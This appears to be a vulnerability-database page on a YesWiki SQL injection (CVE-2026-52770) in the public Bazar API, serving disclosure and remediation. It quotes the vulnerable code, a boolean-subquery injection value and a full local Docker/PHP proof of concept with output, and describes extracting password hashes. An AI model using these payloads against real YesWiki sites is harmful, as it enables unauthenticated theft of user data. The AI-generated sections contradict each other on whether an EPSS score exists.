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YesWiki CVE-2026-52770

HIGH
SQL Injection (CWE-89)
2026-07-09 https://github.com/YesWiki/yeswiki GHSA-qg78-vmvc-fhjw
7.5
CVSS 3.1 · Vendor: https://github.com/YesWiki/yeswiki
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach public Bazar API endpoint
  2. Delivery
    Supply numeric query filter with boolean subquery
  3. Exploit
    Injected SQL evaluated in CAST expression
  4. Execution
    Observe returned vs empty entries
  5. Persist
    Iterate oracle to extract data
  6. Impact
    Recover credentials or hashes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target YesWiki instance expose the public Bazar API routes (the 'acl:public' endpoints /api/forms/{formId}/entries/{output}/{selectedEntries}, /api/entries/{output}/{selectedEntries}, or /api/entries/bazarlist) and that at least one Bazar form defines a numeric-structured field - a 'number', 'range', or map latitude/longitude field - since the injectable sink only triggers for descriptors whose _type_ is 'number'. Given those default/common conditions, no authentication and no user interaction are needed (PR:N/UI:N), matching an unauthenticated network attacker. The main limiting factor is that a site with no numeric Bazar fields, or one that has disabled/ACL-restricted the public Bazar API, has no exploitable sink; exploitation is also blind (boolean-only), so an attacker infers data one condition at a time rather than dumping it directly.

Impact

This is a genuine, actionable risk rather than an inflated high-CVSS finding: the supplied CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N describes network-reachable, low-complexity, unauthenticated exploitation, which is consistent with the description's public 'acl:public' routes and the working PoC. Confidentiality impact is High while integrity and availability are None, matching a read-oriented boolean oracle that infers data rather than modifying it. A functional PoC is publicly available (publicly available exploit code exists), which materially raises practical exploitability, but there is no CISA KEV listing and no EPSS score in the provided data, so there is no evidence of active in-the-wild exploitation - treat exploitation likelihood as elevated by public PoC but unquantified. One caveat: extraction is blind/boolean and therefore slow and noisy in logs, so raw C:H somewhat overstates the effort-adjusted impact for large datasets; it remains fully sufficient to extract credentials or hashes given time. No SSVC or EPSS signals were provided; risk is inferred from CVSS plus the published PoC.

Exploit ScenarioDerived

An unauthenticated attacker sends GET requests to a public Bazar endpoint such as /api/entries/bazarlist with a numeric filter like query=bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0, observing whether entries are returned to answer a true/false question about the database. By iterating character-by-character conditions against sensitive columns, they extract user account data and password hashes without any credentials or user interaction, consistent with the low-complexity network attack vector. A working proof-of-concept demonstrating the boolean oracle is published in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

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AnalysisAIv1 – Jul 09, 2026

Boolean-based blind SQL injection in YesWiki's public Bazar entry-listing API allows unauthenticated attackers to read arbitrary database contents by abusing numeric query/queries filters. Because numeric field values are escaped with mysqli_real_escape_string but inserted into the SQL statement without quotes or numeric validation, injected boolean expressions (e.g. '100 OR (SELECT COUNT(*) FROM yeswiki_users)>0') are evaluated by the database, turning the public endpoints into a data-exfiltration oracle. A detailed, self-contained proof-of-concept is published in the advisory; a vendor patch (commit f3b0dd0) is available, though the issue is not listed in CISA KEV.

RemediationAI

Apply the vendor fix: upgrade YesWiki to a release that includes commit f3b0dd093a7ace47dc29a515faeb02635baceae2 (Upstream fix available via commit; a specific tagged patched release version is not stated in the provided data, so confirm the exact fixed release against advisory GHSA-qg78-vmvc-fhjw before deploying). Until the patch is applied, compensating controls include restricting or authenticating access to the public Bazar API routes (/api/forms/{formId}/entries/..., /api/entries/... and /api/entries/bazarlist) at the web server or reverse-proxy layer - noting this will break any legitimate anonymous consumers of those endpoints; and deploying a WAF rule to block query/queries parameter values containing SQL keywords or subquery patterns such as SELECT, UNION, or parenthesized boolean expressions, accepting that pattern-based rules can be bypassed and may block valid numeric range filters. As a defense-in-depth measure, ensure the database account used by YesWiki has least-privilege, read-scoped access so injected subqueries cannot reach unrelated tables. Reference: https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw and the patch commit at https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2.

Affected Packages

composer yeswiki/yeswiki fix: 4.6.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

YesWiki is a PHP wiki/CMS whose Bazar module provides structured, form-based content ('fiches') queryable through public REST-style endpoints. The flaw is a classic CWE-89 SQL Injection rooted in improper neutralization of a numeric field: in SearchManager::buildQueriesConditions(), fields with _type_ 'number' build the fragment CAST(field AS DOUBLE) <op> <value>, where <value> is passed only through mysqli_real_escape_string(). That routine neutralizes string-context metacharacters (quotes, backslashes) but does nothing for a value used in an unquoted numeric context, so SQL keywords like OR and parenthesized subqueries pass through intact. The attacker-controlled input originates from the GET 'query'/'queries' parameters read in ApiController.php and flows through BazarListService::getEntries() into SearchManager::search(). Read-ACL filtering and Bazar Guard post-processing run only after the database has already evaluated the injected predicate, so they provide no protection. Affected package per CPE is pkg:composer/yeswiki_yeswiki. Numeric filters (fields of type number, range, and map latitude/longitude) are documented, common features, widening the injectable surface.

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Severity by source

Vendor (https://github.com/YesWiki/yeswiki) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 7.5 HIGH

Public unauthenticated API with low-complexity injection gives AV:N/AC:L/PR:N/UI:N; a read-only boolean oracle yields C:H with no data modification or outage, so I:N/A:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/YesWiki/yeswiki).

CVSS VectorVendor: https://github.com/YesWiki/yeswiki

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric query / queries filters.

For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.

Details

The public Bazar API reads attacker-controlled query filters from GET parameters:

php
// tools/bazar/controllers/ApiController.php
$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
    !empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [],
    isset($vQuery) ? urldecode($vQuery) : ''
);

Relevant public routes include:

php
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})

The query is passed into BazarListService::getEntries() and then into SearchManager::search():

php
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
    array_merge(
        $pOptions,
        [
            'formsIds' => $vLocalIDs,
        ]
    ),
    true,
    true
);

The vulnerable sink is in SearchManager::buildQueriesConditions():

php
// tools/bazar/services/SearchManager.php
if ($vDescriptor['_type_'] == 'number') {
    if (isset($vValue) && trim($vValue) !== '') {
        $vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue);
    }
}

Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:

text
100 OR (SELECT COUNT(*) FROM yeswiki_users)>0

This produces a predicate equivalent to:

sql
CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0

Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.

Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:

text
query="bf_age>18"
query="bf_age >= 20 | bf_age < 40"

Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.

PoC

The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.

Run from the repository root:

bash
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'
<?php
namespace YesWiki\Bazar\Service {
    class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }
    class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } }
}
namespace {
    class DummyNumberField {
        public function getPropertyName() { return 'bf_age'; }
        public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }
    }
    class DummyServices {
        public function get($class) {
            if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); }
            if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); }
            throw new \RuntimeException('Unexpected service: ' . $class);
        }
    }
    class DummyWiki {
        public $dblink;
        public $services;
        public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
        public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }
        public function UserIsAdmin() { return false; }
        public function getUserName() { return 'Anonymous'; }
    }
    class DummyDbService {
        public function getCollation(): string { return 'utf8mb4_unicode_ci'; }
        public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }
    }
    class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }

    require '/repo/tools/bazar/services/SearchManager.php';

    $db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
    if (!$db) { throw new \RuntimeException(mysqli_connect_error()); }
    mysqli_set_charset($db, 'utf8mb4');

    foreach ([
        "CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)",
        "CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
        "CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
        "INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')",
        "INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))",
        "INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')",
    ] as $sql) {
        if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
    }

    $ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class);
    $sm = $ref->newInstanceWithoutConstructor();
    foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
        $rp = $ref->getProperty($prop);
        $rp->setAccessible(true);
        $rp->setValue($sm, $value);
    }

    $cases = [
        'control_no_match' => 'bf_age>100',
        'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',
        'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',
    ];

    foreach ($cases as $label => $query) {
        $params = ['queries' => $query, 'formsIds' => [1]];
        $sql = $sm->prepareSearchRequest($params, true, false);
        $result = mysqli_query($db, $sql);
        if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
        $tags = [];
        while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }
        sort($tags);
        printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags));
        if ($label === 'boolean_true_subquery') {
            echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n";
        }
    }
}
PHP

Expected vulnerable output:

text
control_no_match: 0 rows []
boolean_true_subquery: 2 rows [EntryA,EntryB]
where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1
boolean_false_subquery: 0 rows []

The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.

Impact

This is an unauthenticated SQL injection vulnerability.

An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.

Executive ViewAI

Why It Matters

YesWiki's public Bazar API contains an unauthenticated SQL injection vulnerability that allows remote attackers to extract arbitrary database contents without credentials. Any organization exposing YesWiki to the internet faces immediate risk of sensitive data exfiltration through publicly accessible API endpoints.

Business Impact: High
Compensating Controls

Apply vendor patch. If patching is delayed beyond 7 days, implement network-level restrictions (firewall rules or reverse-proxy policies) to block unauthenticated access to the public Bazar API endpoints until patched.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Low
niche open-source PHP wiki/CMS, limited enterprise deployment footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Affected Products (CPE)CVE.org

pkg:composer/yeswiki_yeswiki

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